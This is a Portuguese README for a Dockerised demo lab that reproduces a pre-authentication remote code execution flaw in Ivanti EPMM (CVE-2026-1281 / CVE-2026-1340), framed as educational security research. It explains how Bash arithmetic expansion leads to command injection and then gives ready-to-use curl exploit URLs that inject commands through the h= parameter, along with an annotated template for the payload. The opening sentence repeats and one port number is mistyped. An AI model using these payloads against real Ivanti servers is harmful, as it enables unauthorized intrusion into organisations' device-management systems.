
Uma aplicação de demonstração simples que mostra como reproduzir a vulnerabilidade de RCE pré-autenticação do Ivanti EPMM (CVE-2026-1281 / CVE-2026-1340) para fins educacionais e de pesquisa em segurança.
Um aplicativo de demonstração simples que mostra como reproduzir a vulnerabilidade de RCE pré-autenticação do Ivanti EPMM (CVE-2026-1281 / CVE-2026-1340) para fins educacionais e de pesquisa em segurança.
Esta vulnerabilidade explora o comportamento da expansão aritmética do Bash. Quando uma variável contendo uma referência a outra variável é usada em contexto aritmético, e essa variável referenciada contém um índice de array com substituição de comando, o comando é executado.
st=theValue (string literal "theValue" com preenchimento)h=gPath[\comando`]` (comando no índice do array)theValue a cada iteraçãogStartTime é definido como a string literal "theValue"theValue contém gPath[\comando`]`[[ ${currentTime} -gt ${gStartTime} ]] é avaliado:
${gStartTime} → "theValue" (string)theValue como referência de variáveltheValue → gPath[\comando`]`# Compilar e iniciar o container
docker-compose up --build -d
# Verificar se está em execução
curl http://localhost:8180/health
Crie um arquivo para provar a execução de comandos:
# Payload codificado em URL: id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"
# Verificar se o arquivo foi criado
cat artifacts/poc
Verifique com um comando sleep:
# Deve levar ~5 segundos para responder
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"
# Escrever conteúdo personalizado
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"
cat artifacts/pwned
/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMANDO%60%5D/uuid.ipa
│ │ │ │
│ │ │ └─ Payload: gPath[`COMANDO`]
│ │ └─ Timestamp final (quaisquer 10 dígitos)
│ └─ CRÍTICO: literal "theValue" + 2 espaços (10 caracteres no total)
└─ Índice da chave (qualquer valor)
# Visualizar logs do container
docker-compose logs -f
# Obter um shell no container
docker exec -it ivanti-epmm-vuln /bin/bash
# Verificar logs de erro do nginx
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log
docker-compose down
rm -rf artifacts/*
Isto é apenas para fins educacionais e de testes de segurança autorizados. Não use contra sistemas que você não possui ou para os quais não tenha permissão explícita para testar.